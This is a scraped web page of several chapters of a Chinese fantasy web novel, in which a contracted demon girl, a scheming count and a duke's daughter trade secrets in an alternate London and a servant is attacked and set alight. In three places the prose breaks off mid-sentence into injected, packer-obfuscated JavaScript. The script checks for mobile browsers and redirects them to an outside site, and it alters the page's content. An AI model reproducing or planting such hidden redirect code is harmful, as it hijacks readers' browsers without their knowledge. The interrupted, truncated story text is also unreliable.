“话说,莉莉贝特,我都还不知道你的身份呢?你是哪家的贵族小姐?” 两人从天文聊到地理,聊了一大圈,临近尾声,比阿特丽斯才反应过来好像连莉莉贝特的身份都不知道。 莉莉贝特的笑容僵在脸上,她还真没有想过该怎么向比阿特丽斯解释这个问题。 思考之余,眼睛的余光瞟到正在吃饭,食不语寝不言的杰诺尔。 她灵机一动,有了主意,故意贴近比阿特丽斯,凑到她的耳边,用只有两人听得到的声音说。 “这是个秘密,我可以告诉你,但是你可千万不要告诉别人,任何人都不可以。” “行啊,”比阿特丽斯失笑,看莉莉贝特古灵精怪的样子,她还以为对方是在开玩笑,一点也没当真,顺着她说,“我肯定不告诉别人,你偷偷告诉我吧。” “其实啊,”莉莉贝特故作神秘,“我是索恩公爵的女儿。” 她说完,比阿特丽斯露出疑惑的表情,“啊?索恩公爵吗?诶…我怎么没听说过他有个女儿。” 莉莉贝特摆出一副愁眉苦脸的样子,好像她真藏了什么冤屈和内幕,她叹了一口气,嘴角耷拉着说:“这事说起来不太光彩。” 比阿特丽斯立马严肃起来。 “你说…放心吧,我不会歧视你的。” 莉莉贝特眨了眨眼睛,她偷偷望了一眼杰诺尔,看见对方的注意力完全不在自己身上,这才敢小声地说:“那我说了,其实我是他的私生女。” “啊!”比阿特丽斯惊讶的一拍桌子,她差点没叫出来,嘴巴都变成了“O”形,完全不敢相信自己的耳朵。 她这一声动静,让餐厅里剩下的为数不多的几人放下盘子匆匆走了,餐桌对面二人也被吸引了注意力。 她比了一个抱歉的动作,对面的男孩很听她的话,见她摆手,立马低下了头不再看她。 杰诺尔虽然满脸疑惑,但两方相隔的距离较远,他也完全听不清莉莉贝特他们在说些什么,索性仔细打量起旁边的男孩来,绿眼睛在人家身上扫来扫去,都快把人戳出一个洞来。 比阿特丽斯见所有人都不再关注自己,这才松了一口气,小声反问道。 “他还能有私生女?我听说他是伦敦上流圈子里出了名的宠妻啊,与玛莎夫人琴瑟和鸣。” 眼看着露出破绽,莉莉贝特也完全不慌,她假装遗憾,还比了个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531118|203463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 禁声的手势,低语道:“贵族圈子里嘛,懂得都懂,家丑不可外扬。” “我真没想到他是这样的人,居然背着自己的妻子在外面搞外遇,还有个私生女…”说完又觉得不合适,一脸抱歉,“对不起啊莉莉贝特,我不是在说你不对,再怎么说你也是无辜的,上一辈的恩怨不应该牵扯到你。” “谢谢理解。”莉莉贝特笑了笑,不再作声。 一时之间,两人都不再说话,倒是杰诺尔那边聊了起来,他看着这个男孩,觉得有些眼熟,随口问了句。 “你是沃伦家族的人?” 他刚问完,那男孩脸上闪过一丝极为明显的慌乱,所有的自信与坦然瞬间化作一滩沸腾的水,再也无法平静。 他支支吾吾,双手摆得像螺旋桨,头不停地摇,矢口否认。 “我…我不是,我是巴迪·亨德森,就是一个贫民窟长大的普通人,怎么可能跟沃伦家族有关系,那可是首相的家族。” 他惶恐地站了起来,仓皇间打碎了放在跟前的盘子,玻璃碎一地,他脸色瞬间白成纸。 “你们在干什么?” 玻璃破碎的动静很快吸引了比阿特丽斯的注意力,她五大三粗,完全没有看出小巴迪的脸色不对,见两人都没回答,她开始点名道姓,问巴迪。 “小巴迪,告诉姐姐,刚才发生了什么?” 她难得严肃,话一出口,就把小巴迪吓到了。 “我……他……” 他指了指自己,又指了指杰诺尔,脸上的白慢慢憋成绯红色。 杰诺尔料到他什么都不会说,毫不慌乱,甚至弯腰帮着黛安娜收拾起了玻璃。 “我知道了!” 她又不知道知道了什么,猛地站了起来,餐桌摇晃了一下,在莉莉贝特瞪大的眼神中,她指着杰诺尔嚷嚷。 “鸭子禁止对食!莉莉贝特,让你的鸭子不要欺负我的鸭子。” 又是熟悉的金句。 “噗……”杰诺尔把刚喝的一口水给喷了。 身侧,小巴迪仓皇逃走,一下就没了人影。 莉莉贝特捂住了脸,窘迫不已,问出了那个憋了一肚子的疑惑:“你父亲他…我是说大公爵,平时也让你这么说话吗?” 她惊讶极了,她觉得分明自己才是一个恶魔,来自一个十分开放的国度,怎么比阿特丽斯看着比她还要随心所欲,这种话都说得出口。 她就算诚心想学,也学不到人家的精髓。 “诶,你不知道吗?”比阿特丽斯的表情就像在说“你在开玩笑吗?” 莉莉贝特不解:“啊?” 对方唉了一声:“这事说来话长。” 莉莉贝特拍了拍胸脯:“放心吧我不会歧视你的。” 风水轮流转,比阿特丽斯完全没有想过居然有一天也会有人跟她说这句话,没憋住笑出了声。 “想什么呢,我只是想说,我父亲只是个名不见经传的小喽啰…” 莉莉贝特惊讶道:“什么?那大公爵…” 比阿特丽斯笑得很大声,“哎呀,大公爵是我母亲啦!” 14. 伯爵的秘密 大公爵其实是女性的事情,在伦敦并不是什么稀罕事,整个贵族圈子基本都知道。 大公爵名玛德琳·莫里森,她并非传统意义上的皇室成员,而是女王的闺蜜。 这个时代很特殊,电力逐渐替代煤气和蒸汽成为世界主流能源,工业革命高速发展,女王首设首相。 大公爵与女王从小一起长大,二人形影不离。女王登基后,设爵位赐予大公爵,掌军权,制衡首相。 听莉莉贝特问出怀疑大公爵性别的傻问题,比阿特丽斯没有跟她计较,一笑了之。 她觉得莉莉贝特从小被索恩公爵养在外面,接触上流圈子少,不知道也正常,情有可原。 但莉莉贝特不这么想,她尴尬的恨不得找个地缝钻进去。 夭寿啦!丢死人了!问了个蠢问题,恶魔小姐丢魔啦! 她半捂着嘴,满脸悲怆,用求助的目光偷瞄着杰诺尔。 杰诺尔在偷笑,看见她求助的目光打过来,他故意偏过头去,用非常气人的姿势吹了声口哨,一副“我就是袖手旁观你能拿我怎么样”的态度。 莉莉贝特差点没把后槽牙咬断,朝着他竖了一个中指。 倒是比阿特丽斯,在她双手放下瞬间突然从背后凑近,热情地捧起了她的手。 她动作突然,莉莉贝特有些被吓到,尖叫一声回眸,看见的就是她眉眼弯弯,满眼温柔的模样。 接着又听她说,“莉莉贝特,你没有冒犯我。” 她看着神经大条,却也粗中有细,莉莉贝特自以为自己伪装的很好,但还是被她一眼看穿。 莉莉贝特很高兴她这么说,顿时心中那些难堪全都烟消云散。 比杰诺尔顺眼多了,恶魔小姐暗自在心中发誓,以后谁要是欺负这个女孩,她就跟谁急。 莉莉贝特很喜欢她那双永远都友善的眼睛,喜欢她嘴角高兴扬起,从不伪装。 她本想还是道个歉,比阿特丽斯再次先她一步。 “我们是朋友,好朋友之间是不会计较这些的,对不对。” 她这时突然变得很聪明,仿佛能够洞察人心,把莉莉贝特要说的客套话也全都堵了回去。 大智若愚,这样的女孩,不止男人会喜欢,女人也会喜欢。 “当然,我们是朋友。” 莉莉贝特回握住她的手,唇角轻扬,礼尚往来。 ———— 夜色于一片朦胧中拉开帷幕,伦敦城远方的灯火,城墙的守望,和临近教堂的钟声揉成一幅油墨重彩的油画。 昏暗的房间里,煤油灯的火焰在微风中摇曳,衬得莉莉贝特的脸越发苍白,白的像一具尸体。 莉莉贝特正在杰诺尔的套房,与伯爵殿下面对面坐着。她刚送别了比阿特丽斯,刚好玛丽也不在,今天就他们两个。 天色渐暗,在杰诺尔回到房间将要把门关上的瞬间,她一个转身溜了进来。 房间的家具摆设大都还与昨天一样,沙发、茶几、书柜、燃灯…每一件物品都在它各司其职的位置上,但莉莉贝特望着泛黄的墙壁,心里总觉得,似乎还是有哪里不一样了。 感觉缺了点什么。 墙上的灯火忽闪忽闪。 她来不及深究这个问题,她是来找杰诺尔对峙的。 杰诺尔的表情有些无奈,没阻止她进来。 有些话,也该说清楚了,今天晚上她不问清楚是不会走的。 黛安娜送进来了一壶茶,黛安娜走后,他走到房门口,转动把手,从里面将门反锁上了。 莉莉贝特注视着他的一举一动,这个男人显然很清楚她是来做什么的。 她索性开门见山。 “今天发生的事,都在你的预料之中对吧。” 杰诺尔自顾自的倒了一杯茶,放到莉莉贝特跟前,不紧不慢反问。 “莉莉贝特小姐,你指的是什么事?我不太明白。” 他还在装傻。 眼前的茶水花香四溢,这是一杯玫瑰花茶,茶色偏黄,上面还漂浮着几片被泡的泛黄的玫瑰花瓣。 莉莉贝特不喜欢玫瑰,这种鲜花常常被人用来歌颂爱情,可在她看来,爱情不过是□□的另外一种表达方式,没什么高大上的。 她拒绝了杰诺尔的花茶,也拒绝他装傻,故意将杯子往前推了推,不说话。 只要他继续装傻,莉莉贝特就陪他僵持到底。 这个男人精得很,一肚子坏水,她不想被人当做一个蒙在鼓里利用的工具,就算是需要她配合,她也必须知道真相。 “怎么了,莉莉特小姐,是今天的花茶不合你的口味吗?” 他端起茶杯,抿了一口,满意的点点头,全程没有将目光放在莉莉贝特身上。 “我不想跟你演,你最好告诉我真相,故意舍弃城堡搬来圣烛宾馆,故意装穷,故意声称要做我的情人,这些是不是一开始就是你计划好了的。” 她开始有些生气,事到如今对方还在掩饰,她又不傻,这个世界上哪有那么多巧合,前一天晚上她刚得知旅馆被贵族私藏情人的事,第二天杰诺尔就答应要做她的男模,还又“刚巧”认识了大公爵的女儿。 “那你可真看得起我。” 杰诺尔轻笑一声,慢慢将茶杯放下,嘴角随之扬起,只是那笑容看着冷冰冰的,和他平时吊儿郎当的样子完全不一样,看着有些让人毛骨悚然。 “不过…” 他故意卖了个关子。 “快说!” 她是真的有点生气了,一拍桌子,打翻了桌上的茶杯,茶水流的到处都是。 “不过,莉莉贝特小姐今天表现很好,我很欣赏。” 虚伪的笑容在他脸上绽放,他是故意这么说的,听着让人窝火。 “你……故意的是吧。” 莉莉贝特将桌子拍得砰砰响。 “我分明是在赞扬你的聪慧。” 他仍然油盐不进,假装起贴心来,将打翻的茶杯摆正,又掏出了口袋里的手帕,看着桌上四溢的茶水,不慌不忙的开始擦。 莉莉贝特彻底生气了,恶魔之血彻底点燃。 桌子还没擦完,煤油灯熄灭了。 原本还算温馨的房间猛地一暗,淡淡的硫磺味开始在整片空间里扩散 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对方一动不动,还保持着那个擦桌子的姿势,只是手上动作停了下来。 “傻了吗?还是你已经下地狱了?” 她嘲讽模式打开,恨不得滔滔不绝将人骂一顿再说。 “没……” 他低着头,捂着胸口,也就是刚刚硫磺击中的地方,一声疼没坑。 还挺有骨气。 莉莉贝特的愤怒逐渐消退。 “你说你何必呢,早点告诉我,没准我还会跟你合作,干嘛非得承受这皮肉之苦。” 他还挺有自知之明,如是说道。 “不让莉莉贝特小姐你揍我一顿,又怎么平息你的怒火呢?再说了,能被你这么漂亮的小姐胖揍一顿,这是我的荣幸。” 刚刚平息的愤怒又有些要冒尖的趋势,莉莉贝特恨不得再给他补两个拳头。 “你在说你是故意让我揍你一顿的?信不信我再给你补两个硫磺球,让你的脸毁容,变成丑八怪。” “当然可以,如果你想这么做的话,我不会反抗。” “你别激我,我告诉你我干得出来!” “那就按你的想法去做,我全力配合…让我毁容,或者让我去死都可以。” 他平静的仿若一滩死水,即使是在说那个死字的时候,也没有半分波澜。 莉莉贝特彻底败给他了,她也终于反应过来这个房间里缺了什么东西——画像,缺了天神的画像。 没有那些画像,她可以在这里自由施展恶魔的能力。 是杰诺尔故意撤了画像,但她不会感激他,反而对他大吼道。 “让你说出真相有那么困难吗,我只是不想被蒙在鼓里,这有错吗?我突然被人召唤到人间红海,突然从你前女友的尸体上复活,你难道不觉得奇怪吗?在这中间,你到底扮演了一个什么样的角色?为什么选择圣烛旅馆,为什么靠近比阿特丽斯,杰诺尔,你难道不欠我一个解释吗?” 15. 同盟 “好,既然你想知道,那我就告诉你。” 屋子里重新燃起的煤油灯不如之前明亮,火光照进他的眼眶里,照亮了他扑朔的长睫毛,和眼尾微红的碧眼,落入莉莉贝特眼中。 有一瞬间,她是有些自责的,心里觉得看对方似乎有些可怜,可惜怜悯不过三秒。 他将吸满了茶水的手帕用指尖夹着,随意搭在身后的衣架上,做完这些,他拉开一旁的椅子坐了下来,翘起了二郎腿。 瞬间,仿佛变了一个人。 哪里还有半分受伤虚弱的模样,仿佛刚才捂着胸口的人不是他。 “毛毛躁躁,动手动脚,可不是一位淑女该做的事。” 就连声音也中气十足。 莉莉贝特很快意识到,她被耍了! “你……一点事都没有?” 被恶魔的硫磺砸到一定会留下痕迹,她简直不敢置信。 忍不住用颤抖的食指指向他,他狡黠一笑,反问莉莉贝特。 “莉莉贝特小姐,恶魔族的召唤契约里面,描写的关于被召唤恶魔对待召唤主的条款是什么样的?” 莉莉贝特咬唇,她并不想回答,但嘴却不受控制的脱口而出,“契约期间,不伤害,不违背,不隐瞒。”说完,捂着嘴,瞪大双眼。 他毫不意外,眼尾一挑,发出一声轻笑。“是不伤害,还是无法伤害?” “无法伤害…”再次脱口而出,又捂上,顺便给了自己两耳刮子。 死嘴!到底谁才是主人… 欲哭无泪。 太反常了,怎么会这样,她怎么被杰诺尔拿捏了。 惊恐的眼珠子左右回转,她将所有的可能性都在脑子里过了一遍,一个一个接连否认,杰诺尔是怎么做到的,难道说… 只剩下最后一个可能性了,正如他所说,契约者…难道,与恶魔签订契约的人并不是卡珊德拉,而是杰诺尔? 可他是怎么做到的呢,恶魔的交易要求第一点,献祭者若想要寻求恶魔的帮助,必须要献出自己的身体和灵魂,但是杰诺尔,他明明好好的站在自己面前,什么也没失去,无论是躯体和灵魂都是他自己的,那这份契约究竟是如何成立的呢? “你做了什么?”她大声询问。“你是怎么做到的?既没有献出身体也没有献出灵魂,却可以与地狱办事处签订契约?” 他左手托着脑袋,慵懒的靠在椅子扶手上,整个身体往后倾,似笑非笑。 “莉莉贝特小姐,你怎么知道我什么都没有付出呢?” “那你付出了什么?”她目光一凛,“若让我知道你是用了什么方法走了捷径,那你就等着瞧吧,我有权利让契约变成废纸!” 她总算是想明白了,原来一切都有迹可循,她不能伤害杰诺尔也根本就不是什么卡珊德拉的执念在作祟。而是杰诺尔就是契约者,她的魔法对契约者不奏效,不仅不奏效,她的言行与思维甚至会受到契约者潜移默化的影响,比如配合他在比阿特丽斯面前演戏。 他弯了弯嘴角,那张看似冷冰冰毫无温度的笑脸中,似乎又藏着一丝不易察觉的真实,“我付出的,远比你想象中的要多,莉莉贝特小姐。” 他在笑什么?得了便宜还卖乖吗? 莉莉贝特气不打一出来,她恨不得现在就联系地狱把她接回去,结束这个不平等契约。 “少给我卖关子,你今天要是不说,我会立马联系地狱找人接我回去,我有权利拒绝你的契约。” “那你尽管试试。” 他的目光直勾勾地注视前方,那双幽暗的眸子仿佛盯着莉莉贝特,又仿佛在放空,或者说,透过她,在看着别人。 “试试就试试!”莉莉贝特心中莫名有些难过,自己好像被耍了,她在地狱虽然算不上什么大人物,但好歹是只有头有脸的大恶魔,居然被人这么欺负。 她从怀里掏出魔力卷轴,打了个响指,指尖幽暗的地狱火倏地燃起,卷轴熊熊燃烧,化作一只翩跹的蝴蝶在空中转了一个圈,然后消散在原地。 “我不会让你得逞的!” 过了一会儿,蝴蝶飞回来了,带着谁的讯息,是一道清亮的,富有磁性的男声,深邃中又透着神圣,如同隔着万千光阴的距离,恍若隔世。 是陛下… 他是莉莉贝特的恩人,也是莉莉贝特绝不会忤逆的人。 “陛下。” 隔着夜蝶她本无须行礼,但她会行礼,重重跪下。 路西法大概是对她的虔诚见怪不怪,他并未在此事上与莉莉贝特深究,只是陈述道:“莉莉贝特,你应该遵守契约。” “为什么,陛下?”她不敢置信,委屈的撇着嘴角,有点想哭。 另一边,杰诺尔一言不发,幽幽的眼睛盯着夜蝶,如同一匹伺机而动的狼,也不知道他在凶什么。 路西法并未过多解释,他只是叹了一口气,说:“莉莉贝特,他献祭了灵魂,你该帮助他。更何况,帮他,其实就是在帮你自己。” “陛下,我不明白。”她从来没有这么委屈过,眼泪在眼眶里打转,有不服输的不想在杰诺尔面前示弱,抬手擦了把。 杰诺尔仍然一言不发,隔岸观火,仿佛在场发生的事情都与他无关,悠闲自若的喝着玫瑰花茶。 路西法再次叹气,他似乎觉得连解释都是多余的,什么也没说,只是劝道:“莉莉贝特,走到故事的终点去吧。” 莉莉贝特永远不会拒绝他的命令,他大概是知道的。 莉莉贝特将唇咬破,低头不语。 夜蝶围绕着她旋转了又旋转,仿佛一直在等待着她的答案,可她又何曾有过拒绝的理由。 “我知道了,陛下,请告诉我契约内容是什么,我想知道…杰诺尔伯爵大人…”她故意将杰诺尔的名字说得很重,透着一股不服气的气焰,“伯爵大人的诉求是什么?” “杰诺尔,你来告诉她吧。” 路西法的夜蝶不再旋转,稳稳当当停在桌角,翅膀微微抖动。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“好啊,这个提议不错,那么我的要求就是,从今天开始,我会配合你完成你的复仇大计,但作为交换,你要做我的情人,不…不对…”她轻轻的摇了摇头,忽地站了起来,慢慢向他走近。 二人之间,夜蝶不知何时已经消失在原地,一丝痕迹都没有留下。 她伸出修长的中指,慢慢挑起杰诺尔的下巴,笑意加深。 “用情人这个说法还不太准确,应该说你是一个被我包养的男宠,你也只能处处想着我,事事念着我,即使得不到你的心,我也要得到你的身体,明白吗?反正你长成这样我也不亏,你要是表现好,无论你想算计谁,我都会配合你,可以吗?杰诺尔。” “当然可以,这是我的荣幸,我的…主人。”说完,故意歪着头,用下巴在莉莉贝特的手指上轻轻蹭了蹭,仿佛他真的是一只乖巧可怜的男宠,我见犹怜。 莉莉贝特很满意,心里有些暗爽,虽然在契约上她败给了杰诺尔,但此时此刻,她觉得她是胜利的。 “那就这么说定了,你和我,我们现在是各取所需的同盟。可不要让我失望了,当我的男宠,心里可不准想着别人,只准想我。不过有件事我可得事先说好,男宠就是男宠,你可不要奢望我会给你什么感情回应,明白了吗?” 16. 凡人遭殃 “当然了,我求之不得。”他说。 听了这话,莉莉贝特的心情就像被人浇了一盆冷水,莫名没那么高兴了。 “哼,希望你记住今天答应的。” 她装作不在乎拍了拍裙子,顿了顿,黑魔法闪烁,手心凭空变出了一袋金子。她掂了掂手里的金子,眼睛一沉,将钱袋抛起。金子在空中划过一条整齐的抛物线后,准确无误地落到杰诺尔手里。 “这是给你的零花钱,我不允许我的男宠输给任何人,以后…”她打量着杰诺尔身上的旧衬衫,一脸嫌弃,“穿点好的,在外面代表着我的脸面,不准给我丢人。” 做完这些,也不等杰诺尔反应,她扬长而去,就像一个睡完就走的渣女。 杰诺尔捏着手里鼓鼓囊囊的白色钱袋,无奈地摇摇头。 这都是什么事啊…… 夜色撩人,圣烛旅社门前的路灯蜂蜡燃尽,在十二点钟准时熄灭。 头顶是星空万丈,脚下是熄灭的灯火,世界笼罩在一片黑暗中,看似宁静祥和,却也滋生了秘密。 “簌簌……” 谁的脚步声在街头巷尾穿行,步履匆匆,带着慌乱与急切。 “快追…不能让他跑了。” 紧接而至的,是好几个黑衣人凶神恶煞般的喊话。 “巴迪·亨德森,我劝你乖乖投降,今天你是跑不掉的,就算跑得掉今天,你也跑不掉以后,得罪了公主,就要付出代价。” 小巴迪装作没有听见,他拼了命的加快脚步,奋力奔跑,栗色短发被风吹乱,他心里只有一个念头,快点回到圣烛旅馆,回到比阿特丽斯身边。 “你不乖乖投降是吧,走着瞧吧!”为首的黑人见他油盐不进,立马给了身边的手下一个眼神,手下示意,后退两步穿进了旁边的巷子,消失在巷子深处。 还有三分钟,从巴迪现在所在的位置到旅馆,按他现在的速度,最快三分钟,他使出了吃奶的劲儿往前跑。 这件事说来话长。 比阿特丽斯虽为贵族,但她回到伦敦也才两个月,她本是伦敦人,后来跟着母亲受封于爱尔兰,因为土地矛盾、宗教矛盾、独立诉求,那里频繁爆发饥荒、农民暴动、武装起义和警察枪战,需要大公爵的守护。 她回到伦敦念书,本能拥有更优沃的环境,白金汉宫甚至都为了她腾出了一个院子,就等着她拎包入住。巴迪是她的男仆,但因为他身份低微的缘故,他们没有办法一起入住白金汉宫。为了陪伴他,比阿特丽斯与他一起住在圣烛旅馆。 巴迪知道自己为什么会被追杀,前几天,他刚刚拒绝了瓦妮莎公主抛来的橄榄枝。 他与瓦妮莎公主的接触并不多,但凭借他之前与对方的周璇的细节猜测,他觉得公主可能是受了谁人的蛊惑,觉得那个远在爱尔兰岛的大公爵拿着整个国家的兵权,与一群流寇之辈天天打交道,其势力总有一天会踏进伦敦城,会意图谋反。 比阿特丽斯原本也不想回来,但女王心意已决,大公爵授意,比阿特丽斯还是回到了这里。 回来之后,瓦妮莎公主便开始频繁找比阿特丽斯的麻烦,起初比阿特丽斯没有证据。 她花心,最喜欢那种看起来又凶又美的男人,平日的那种乖巧顺遂的小兔子也吃,只要长得好看,她几乎来者不拒。 而瓦妮莎就更有意思了,她只吃比阿特丽斯吃过的,抢她的东西,但凡只要是比阿特丽斯看上的,她都要拿过来,男人也好,东西也好… 巴迪之所以被盯上,就是因为他现在的对外身份是比阿特丽斯的男宠。他倒是真想当男宠,可他实际上不是,他只是一个卑微的男仆。比阿特丽斯为了调查自己养的情人接二连三被人截胡的事情,让他假扮成自己的男宠,结果第二天,瓦妮莎的人还真就找过来了,比阿特丽斯也知道了是她在从中作梗,两人的梁子算是彻底结下了。 她们暗暗相斗,又碍于双方的家族面子,从不会在明面上让对方下不来台。瓦妮莎在伦敦属于是地头蛇一类,那些曾经被比阿特丽斯看上过的男孩子,现在只要瓦妮莎一开口,他们都恨不得将自己打包干净送到公主的床上。 唯有巴迪,油盐不进,在两人中间充当着比阿特丽斯的间谍角色,一边吊着瓦妮莎,一边利用着这层虚假的身份默默爱慕着比阿特丽斯。 直到前几天,瓦妮莎给他下了最后通牒,要么委身于她,要么就等着被人找麻烦。 比阿特丽斯是他的信仰,他忠于她,永不背叛,又怎么会在乎这么点威胁。 他更相信自己只要逃回圣烛旅社,回到比阿特丽斯的地盘,他就是安全的。 今天真不该出来,他后悔死了。 好在马上就要到了,他已经远远地看见了旅馆招牌,越来越近。 突然,一旁的巷子里突然窜出一个黑影。 他来不及刹住脚步,猛地朝对方身上扑过去。 “快让开,快点让开!”嘴里大喊。 然而这些都无济于事,对方充耳不闻,手里还像是拿着一根什么东西,长长的,黑漆漆的,看着粗壮无比,放在手里把玩,有几分像巴迪在战场上看见公爵用过的狼牙棒。 他一个趔趄,对方在他即将摔到自己身上的时候身形一闪,眼睁睁的看着他摔倒在地。 “好疼…” 左脸先着地,火辣辣的触感贴着皮肤,一片温热,疼的连整张脸都麻木了。 “簌簌簌簌…” 一大堆脚步声立马围了上来,此时此刻,他距离圣烛旅馆的大门不过两百米。 他满眼绝望,头顶的夜空不知被什么遮住了月色,星星全都藏了起来,都不忍心围观他的惨烈。 “你们想干嘛?” 他抬起那只不服输的脑袋,用没有受伤的右手臂支撑着身体想要爬起来,结果刚刚弓下手肘,就被人一脚狠狠踢在肩膀上,身体再次受力前倾,向前滑行了半米。 “嘶……” 没有受伤的手臂现在也受伤了,但他的骨气不会允许他认输,他是比阿特丽斯的人,绝不能给她丢脸。 “呸,你们这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“呸!”他一口带血的唾沫啐在那人脸上,望着对方略微有些眼熟的眉眼,笑容一点点冷下去,满是肆意的嘲讽。“公主的走狗,有本事就动手。你杀了我,我家小姐绝对会去找公主大闹。你杀不死我,那才算你厉害。不管怎么样,小姐都会护着我。可你呢?这事办不好,你没法跟公主交代。办得太干净,我家小姐知道了,你之后一样没法收场。” 说完,他找准时机,将全身的力气都集中在上躯,奋力一拱,向前撞去。眼看着就要撞到对方时,煤油灯撒了,煤油与火焰迅速扩散,刺鼻的气体顺着空气涌入肺腑,身后的力道一空,抓着他的人随之松了手,他身体往前倾去,根本来不及阻止。 “啊!火!!火!!!” 头发与衣服被迅速点燃,这个深邃的夜晚注定不会缺少火光,夹在大火夹缝间,他看见男人笔直站起,眼尾上挑,笑得那么嚣张。 “这是你自己打翻的,我可什么都没做,在场的所有人都是证人。”男人无动于衷,任由那些火焰吞没他的衣物,任他在火里翻滚,等到时间差不多了,他们一行人重新隐入巷子里,仿佛从未出现过。 “救命,救命!” 只剩下巴迪声嘶力竭的求救声朝着远方圣烛旅馆的灯火,拼命的呐喊。